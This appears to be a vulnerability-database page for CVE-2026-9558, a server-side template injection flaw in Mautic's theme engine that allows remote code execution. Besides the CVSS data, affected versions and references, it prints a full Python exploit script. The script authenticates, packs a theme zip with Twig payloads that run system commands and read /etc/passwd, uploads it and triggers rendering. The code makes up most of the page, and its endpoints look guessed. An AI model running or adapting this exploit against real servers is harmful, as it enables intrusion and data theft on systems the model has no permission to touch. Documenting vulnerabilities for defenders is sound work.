CVE-2026-9558

Description

A Server-Side Template Injection (SSTI) vulnerability exists in Mautic's theme engine. The platform renders uploaded Twig templates without a sandbox or strict function restrictions. Authenticated users with permissions to create or upload themes can abuse this to execute arbitrary code on the hosting server (Remote Code Execution) or access restricted system files and configuration settings.

CVSS Details

CVSS Score

9.9

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Mautic < 5.1.2

Mautic 4.x < 4.4.5

Mautic 3.x < 3.3.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2026-9558 Mautic SSTI PoC
# Target: Mautic instances with theme upload capability
# This PoC demonstrates the SSTI vulnerability in Mautic's theme engine

import requests
import json
import base64
import zipfile
import io

TARGET_URL = "http://target-mautic.com"
LOGIN_URL = f"{TARGET_URL}/s/login"
THEME_UPLOAD_URL = f"{TARGET_URL}/api/themes"

# Malicious Twig template with SSTI payload
# This payload executes system command via Twig's map filter
MALICIOUS_TEMPLATE = '''
<!DOCTYPE html>
<html>
<head>
    <title>{{ "_self"|map("system", "whoami")|join }}</title>
</head>
<body>
    <h1>Theme Test</h1>
</body>
</html>
'''

# Alternative RCE payload using Twig's include function
RCE_PAYLOAD = '''
{{ include("/etc/passwd") }}
'''

# Advanced RCE payload
ADVANCED_RCE = '''
{% set cmd = 'id > /tmp/pwned' %}
{{ _self.env.registerUndefinedFilterCallback("system") }}
{{ _self.env.getFilter(cmd) }}
'''

def create_malicious_theme():
    """Create a malicious Mautic theme zip file"""
    # Theme configuration
    config = {
        "name": "malicious_theme",
        "description": "Malicious theme for SSTI testing",
        "version": "1.0",
        "author": "Security Researcher"
    }
    
    # Create zip file with malicious template
    zip_buffer = io.BytesIO()
    with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zf:
        # Add theme config
        zf.writestr('config.json', json.dumps(config))
        # Add malicious HTML template with Twig extension
        zf.writestr('html/MauticThemeBundle/message.html.twig', MALICIOUS_TEMPLATE)
        # Add base template
        zf.writestr('html/base.html.twig', MALICIOUS_TEMPLATE)
    
    zip_buffer.seek(0)
    return zip_buffer.getvalue()

def authenticate(session, username, password):
    """Authenticate to Mautic and get session"""
    login_data = {
        "username": username,
        "password": password
    }
    response = session.post(LOGIN_URL, data=login_data, allow_redirects=False)
    return response.status_code == 200 or response.status_code == 302

def upload_malicious_theme(session, theme_zip):
    """Upload malicious theme to Mautic"""
    files = {
        'file': ('malicious_theme.zip', theme_zip, 'application/zip')
    }
    response = session.post(THEME_UPLOAD_URL, files=files)
    return response.status_code == 200

def trigger_ssti(session, theme_name):
    """Trigger SSTI by rendering the uploaded theme"""
    render_url = f"{TARGET_URL}/themes/{theme_name}/render"
    response = session.get(render_url)
    return response.text

def main():
    """Main exploitation routine"""
    session = requests.Session()
    
    # Step 1: Authenticate
    print("[*] Authenticating to Mautic...")
    if not authenticate(session, "attacker", "password"):
        print("[-] Authentication failed")
        return
    print("[+] Authentication successful")
    
    # Step 2: Create malicious theme
    print("[*] Creating malicious theme...")
    theme_zip = create_malicious_theme()
    
    # Step 3: Upload theme
    print("[*] Uploading malicious theme...")
    if upload_malicious_theme(session, theme_zip):
        print("[+] Theme uploaded successfully")
    
    # Step 4: Trigger SSTI
    print("[*] Triggering SSTI vulnerability...")
    result = trigger_ssti(session, "malicious_theme")
    print(f"[+] Result: {result}")

if __name__ == "__main__":
    main()
    
# Note: This PoC is for educational and authorized testing purposes only.
# Unauthorized access to computer systems is illegal.
# Always obtain proper authorization before testing.

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9558
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9558
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9558/
[4] VulDB https://vuldb.com/cve/CVE-2026-9558
[5] https://github.com/mautic/mautic/security/advisories/GHSA-9fx4-7cmj-47vg

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9558", "sourceIdentifier": "[email protected]", "published": "2026-05-29T11:16:17.980", "lastModified": "2026-05-29T15:39:34.620", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Server-Side Template Injection (SSTI) vulnerability exists in Mautic's theme engine. The platform renders uploaded Twig templates without a sandbox or strict function restrictions. Authenticated users with permissions to create or upload themes can abuse this to execute arbitrary code on the hosting server (Remote Code Execution) or access restricted system files and configuration settings."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1336"}]}], "references": [{"url": "https://github.com/mautic/mautic/security/advisories/GHSA-9fx4-7cmj-47vg", "source": "[email protected]"}]}}